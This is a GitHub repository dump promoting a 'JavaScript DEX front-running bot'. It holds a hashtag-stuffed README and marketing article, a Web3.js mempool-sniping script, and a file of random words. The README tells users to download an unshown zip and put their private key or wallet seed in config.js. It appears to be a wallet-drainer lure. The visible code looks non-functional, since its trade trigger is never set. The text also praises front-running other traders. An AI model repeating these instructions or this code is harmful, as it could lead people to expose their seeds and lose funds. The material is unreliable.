├── 1.png ├── 10.png ├── 2.png ├── 3.png ├── 4.png ├── 5.jpg ├── 6.png ├── 9.png ├── README.md ├── TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4.zip ├── Web3.js └── file.txt /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/1.png -------------------------------------------------------------------------------- /10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/10.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/4.png -------------------------------------------------------------------------------- /5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/5.jpg -------------------------------------------------------------------------------- /6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/6.png -------------------------------------------------------------------------------- /9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/9.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This open-source JavaScript DEX Front Running bot is a game-changer for crypto traders and enthusiasts Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange. Here a video of how to config and run to bot a beta tester made https://vimeo.com/999074622 2 | Here's what it looks like running please if you have time to vote for me at the next code contest please do, I won last year with 4th place. Here's the results of runing it for about 28 days started with about 1.89 ETH To begin using the JavaScript Front Running Bot, you'll need to download and extract the zip file to a convenient location. The zip file can be downloaded from this link: https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/main/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4.zip Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder. Using a text-editor and open config.js You can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes. 3 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source. #cryptonewsfeed #cryptomarketplace #altcoins #cryptotokens #cryptobusiness #cryptopredictions #bitcoinmining #cryptosafe #cryptocurrencynews #crypto Title: Using TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 to Capitalize on Front-Running Opportunities and Increase Your Crypto Holdings 4 | 5 | Introduction: 6 | Cryptocurrency trading is full of opportunities for those who can act quickly and decisively. One such strategy is front-running, which involves executing a trade ahead of large transactions to capitalize on the anticipated price movements. While this technique can be highly profitable, identifying and acting on front-running opportunities manually is challenging. Enter TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4, a powerful software tool designed to automate and optimize front-running strategies. In this article, we'll explore how front-running works, the benefits of using TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4, and how you can use this tool to enhance your crypto trading and increase your holdings. 7 | 8 | Body: 9 | 1. Understanding Front-Running: 10 | Front-running involves placing a trade based on advanced knowledge of a large upcoming transaction that is likely to impact the price of a cryptocurrency. For example, if you know a large buy order is about to be placed, you can buy before it and sell immediately after the price rises due to the large transaction. This strategy requires speed and precise information to be effective. 11 | 12 | 2. How TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 Enhances Front-Running Strategies: 13 | a. Real-Time Market Monitoring: 14 | TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 constantly scans the market for large, impending transactions that can trigger price movements. With its advanced algorithms, it can detect these transactions faster than manual monitoring. 15 | 16 | b. Automated Trade Execution: 17 | Speed is critical in front-running. TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 offers automated trading features that execute your trades at lightning speed, ensuring you capitalize on the opportunity before others can react. 18 | 19 | c. Advanced Analytics and Insights: 20 | TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 provides comprehensive analytics and insights into your trades. It helps you understand the effectiveness of your front-running strategies and refine them over time. The software also calculates potential profits and transaction costs, giving you a clear picture of your earnings. 21 | 22 | 3. Benefits and Risks of Front-Running with TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4: 23 | Front-running can offer significant profits, especially when using a tool like TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 that provides real-time data and automated execution. However, it's important to be aware of the risks, such as market volatility and potential regulatory issues. TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 helps mitigate these risks by offering precise and timely information, but traders should always be mindful of the legal and ethical implications. 24 | 25 | Conclusion: 26 | Front-running can be a powerful strategy for increasing your crypto holdings, and TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 makes this strategy accessible and efficient. By using TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4, you can stay ahead of the market and capitalize on price movements with confidence. Start using TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 today and see how it can revolutionize your trading strategy and boost your crypto profits. 27 | 28 | Call to Action: 29 | Ready to take your crypto trading to the next level with TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4? Sign up now and start leveraging front-running opportunities with ease. Join the community of successful traders who trust TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4 to maximize their profits. Happy trading! 30 | Relevant Hashtags: 31 | #CryptoArbitrage #DecentralizedFinance #DeFi #CryptoTrading #Blockchain #Cryptocurrency #TradingStrategies #CryptoInvesting #TriangleArbitrage #DecentralizedExchanges #CoinCurrencyFinance #DigitalMoneyProblems #CryptoTrading #CryptocurrencyInvesting #CryptocurrencyArticles 32 | 33 | Back to Top What is frontrunning? Whenever you use a decentralized exchange to swap tokens, the price of the token you buy increases slightly. This is called slippage and for most retail traders, slippage is barely even noticeable. Whale traders however, especially when they purchase highly illiquid tokens, can significantly change a token’s price.Frontrunning bots take advantage of this mechanic by beating out the trader on the gas fees, purchasing into a token at the lower price and then instantly selling them off at the higher price. In a block explorer, frontruns leave a clear trace with the trader’s transaction being sandwiched between the two frontrun transactions. #coding #frontrunningbot #javascript #tutorial #botv4 #dex #programming #configuration #learntocode #stepbystep #beginner 34 | -------------------------------------------------------------------------------- /TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheFallGamer/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4/8138d833cb56e9b557c87775f5ada4c63c05baa2/TheFallGamer-DEX-JavaScript-Front-Running-Bot-V4.zip -------------------------------------------------------------------------------- /Web3.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config() 2 | const Web3 = require('web3') 3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk') 4 | const ethers = require('ethers') 5 | const fs = require('fs') 6 | //const assert = require('assert'); 7 | 8 | let divider = "\n------------------------------------------------------\n" 9 | 10 | const chainId = ChainId.MAINNET 11 | 12 | let web3HD 13 | let token 14 | let route 15 | let weth 16 | let provider 17 | let signer 18 | let uniswap 19 | 20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT 21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS 22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS 23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT 24 | 25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS) 26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL)) 27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL) 28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex"); 29 | signer = new ethers.Wallet(privateKey, provider) 30 | 31 | // declare the token contract interfaces 32 | tokenContract = new ethers.Contract( 33 | TOKEN_ADDRESS, 34 | ['function balanceOf(address owner) external view returns (uint)', 35 | 'function decimals() external view returns (uint8)', 36 | 'function approve(address spender, uint value) external returns (bool)'], 37 | signer 38 | ); 39 | 40 | // declare the Uniswap contract interface 41 | uniswap = new ethers.Contract( 42 | EXCHANGE_ADDRESS, 43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)', 44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)', 45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'], 46 | signer 47 | ); 48 | 49 | let addtrxflag = false 50 | let trxflag = false 51 | let initialTokenBalance 52 | let tokenBalanceAfterBuy 53 | let tokensToSell 54 | 55 | async function run(){ 56 | 57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n') 58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n') 59 | 60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')}) 61 | 62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS) 63 | weth = WETH[chainId] 64 | const pair = await Fetcher.fetchPairData(token, weth, provider) 65 | route = new Route([pair], weth) 66 | 67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT); 68 | 69 | if(true){ 70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {}) 71 | .on("data", function (transactionHash) { 72 | web3.eth.getTransaction(transactionHash) 73 | .then(function (transaction) { 74 | if(transaction && !trxflag){ 75 | parseTransactionData(transaction) 76 | } 77 | }) 78 | .catch(function () { 79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours."); 80 | //.catch((error) => { 81 | // assert.isNotOk(error,'Promise error') 82 | }) 83 | }); 84 | 85 | async function parseTransactionData(transactionDetails) { 86 | if(transactionDetails.input){ 87 | 88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n') 89 | const transactionInput = transactionDetails.input 90 | 91 | var path = 'transactions_hashes.txt'; 92 | var text = fs.readFileSync(path).toString(); 93 | var lines = text.split('\n'); 94 | var newlines_count = lines.length - 1; 95 | process.stdout.clearLine(); 96 | process.stdout.cursorTo(0); 97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `); 98 | 99 | if((transactionInput.length - 10) % 64 === 0){ 100 | const toTrx = transactionDetails.to 101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase() 102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){ 103 | } 104 | if(addtrxflag){ 105 | const exeTrxs = await executeTrxs(transactionDetails) 106 | subscription.unsubscribe(function (error, success) { 107 | if (success) 108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m'); 109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m'); 110 | }); 111 | } 112 | } 113 | } 114 | } 115 | } 116 | } 117 | } 118 | 119 | async function executeTrxs(transactionDetails){ 120 | if(trxflag){ 121 | return 122 | } 123 | trxflag = true 124 | 125 | console.table([{ 126 | 'Transaction Hash': transactionDetails['hash'], 127 | 'Observations': 'Valid Transaction', 128 | 'Timestamp': Date.now() 129 | }]) 130 | console.log(divider) 131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n"); 132 | 133 | const buy = await buyTokens(transactionDetails) 134 | const sell = await sellTokens(transactionDetails) 135 | } 136 | 137 | async function sellTokens(transactionDetails){ 138 | const amountIn = tokensToSell 139 | 140 | if (amountIn.toString() !== '0'){ 141 | const gasPrice = transactionDetails.gasPrice 142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1)) 143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3) 144 | 145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString(); 146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT); 147 | const amountOutMin = Math.floor(ethAmount * 0.01); 148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString(); 149 | const path = [token.address, weth.address]; 150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 152 | 153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT) 154 | 155 | const tx = await uniswap.swapExactTokensForETH( 156 | amountInHex, 157 | amountOutMinHex, 158 | path, 159 | ACCOUNT, 160 | deadlineHex, 161 | { 162 | nonce: nonceCount + 1, 163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 165 | } 166 | ); 167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 168 | } 169 | } 170 | 171 | 172 | async function buyTokens(transactionDetails){ 173 | if(true){ 174 | const gasPrice = transactionDetails.gasPrice 175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1)) 176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2) 177 | 178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99; 179 | const ethAmount = ethers.utils.parseEther(inputEth.toString()); 180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT); 181 | const path = [weth.address, token.address]; 182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 184 | 185 | tokensToSell = trade.outputAmount.raw 186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString(); 187 | 188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2; 189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString()); 190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString(); 191 | 192 | const tx = await uniswap.swapETHForExactTokens( 193 | amountOutHex, 194 | path, 195 | ACCOUNT, 196 | deadlineHex, 197 | { 198 | value: amountInMaxHex, 199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 201 | } 202 | ); 203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 204 | } 205 | } 206 | 207 | console.clear() 208 | console.log("\n") 209 | 210 | 211 | console.log(divider) 212 | 213 | run() 214 | -------------------------------------------------------------------------------- /file.txt: -------------------------------------------------------------------------------- 1 | inscrutably telelectroscope alberene virgulate semisentimental nasopharynx acclimating tepefying seatrain nasalizes masseuse foldage substantiveness thalamotomies subphyla hoistman birefringence retrofired hybridism smalti intext planetologists recitativo oscillatorian goeduck focoids pyridic duties unchallengeableness ploverlike epidotic unmacerated hyposternum rheophile outwwoven tungsten ungeodetical unpositive redistributory devulcanize bogans accoyed wyke sialostenosis forecooler demosthenean excogitable endopoditic housewife fluffy calyptras becarpets mushily siloxanes abamp sardonyx epistlers bobbiner bradypepsy intendance nonperversity extraterritorially backpedal isomaltose eightfoil alibiing anatinacea prophesied widework cohobates busker postaspirate remediate obtemperate thalassiarch lenticularis impleads rakish geometroidea robotlike thrimp cryptobatholithic rompishly dismayed baseless shent epistaxis prelocating pyrognostics scatoma keltic pricklier mosaicity dyophysite misaltered cenozoic antiferroelectric pantalet triennial nystagmic unmolified sangerbund sunkie catechumen superimpersonally hamathite charisms niyanda slideman amphisarca shrinal resinbush noncreditable antirevolutionary unchattering gesticulacious grewhound inseminating temporiser lassoes mortally patricianship tramsmith predesolation undescended adversarious lochan blastophoral liquified picariae hypaxial hyperuresis unimboldened glossiest ultragaseous megalopteran sesquiquadrate crowned underboom nosewards anaplasm penelopinae hemlock assonia ropishness regnancies metricizing fetichism refract carbohydrazide presoaks austrasian kherwari grindstone humorously perdicine nonplastic leptospira reprovoke deceptiously chaparrals oligodynamic palmiped untransported rearwardness heloderma tarse yagnob ghain monoicous jubilation coronados ungrieved sugarless outsonnet glore wambled isogonies splenalgy fribbles siderealize warrenlike solaneous allmouth artesonado gastrostomus affirmers arf stonefishes adulterous diamagnetically munguba appareled cq attorn necrophaga orals plopping slurringly lip stalactitical acanthocephali beneficed kussos biostrome midmonth supereloquence sighingness coseier hedonists moderne hypnograph queryingly scalebark objectization tetrachical nongerundive ozokerite fuzing sarmentose enervous barberfish annuation uncle octangle besprinkled kyanizes biens stannaries aphony fails granulization amalgamative unpersonalising perdit palustrine aviating companionless altitudinous commissioned brittleness coffeebush thrasonically catclaw uncontacted preimage colmose fermal coprophilic gubbings trevets sagittaria cyanocobalamine unsteel sentimentalists zoea amin reviews masoretic cyrtoceras liangle nonpinaceous quiangan trophosome earpick flushing mostra vigorist solemnizer argentate nonfashionably cholecystogastrostomy platitudinised saberleg crosspiece joypop boulework gluneamie unlimbered scelerat friendlies phyllin oxyphenol incondensibility dandy pangamic clashed samburu roxburgh gastrodermal baile nunki prehended ramnenses friendlily altair grayhead livish cosmographical outstrut abstracts overstitch underdog lutarious tetotum proctorize urochorda unreorganised brothels bowering putout unrelational nestage precapture sanitaries alnicoes nonhierarchically ideogenous crematoriums undersward princicipia furbishes waterlike instantaneously xanthocobaltic vesiculatae accidentalist volatilizable overwhelmingly christiform credulities chinol advection acanthon skeletonise litho jackeroos nonspectrally propoganda jackie stchi cystoidea guru floramour obtrude semitime justicoat koklas checkering broncobusters blackheart unriddling braggery swarding intrashop oncia scrunch texaco inseparably interfiltrating pneumonometer vipolitic pericardiopleural subordinates esthetics execute pathoses hoonoomaun prochronic twinging overbeetling timpano gazabo hedebo overofficious plater leatherfish sphagnales pollette wreathingly nimbly windy unblocks bluff intoning biosphere ferries disprovide fairies unhooked barcarole gumfield globulysis mesopotamia resteal nonanaphoric unboyishness massacred vastate sibylline thrower vinylation heronries crossbolt maths interdiscal archbishopess tichodrome atriopore unthreatening sarcomatosis intersolubility bridoon bierbalk contrasting avicolous vairee swale quadrantile bosket outfawned depressant boxtop advecting consignee bellwort canastas orthoceratoid womanises nidation disapprove fraile demulcents scoffers oxbane alimented unwordable jerseyan unaidedly invidia moattalite middlingish subregularity completable promulging limetta eugenol congruistic zoos vasostomy barkers diplex rehumble dacryoma incipit unadmittedly denigration pistle smatteringly zarf iliopubic retotal duff subdit sejunctively ciceroni legalized agateware oratress recuperativeness digram biangulate domitian hora phacelia sakes lyophobic sunburnproof koreshanity eutaxite petrographic aljamiado understanding quittal unshelve telemetrographic unretentively sidewinder reelevating inhibitory busting ruffiandom ovaliform pseudoanthorine shellackings barosmin inclement selenolog quiet crummed --------------------------------------------------------------------------------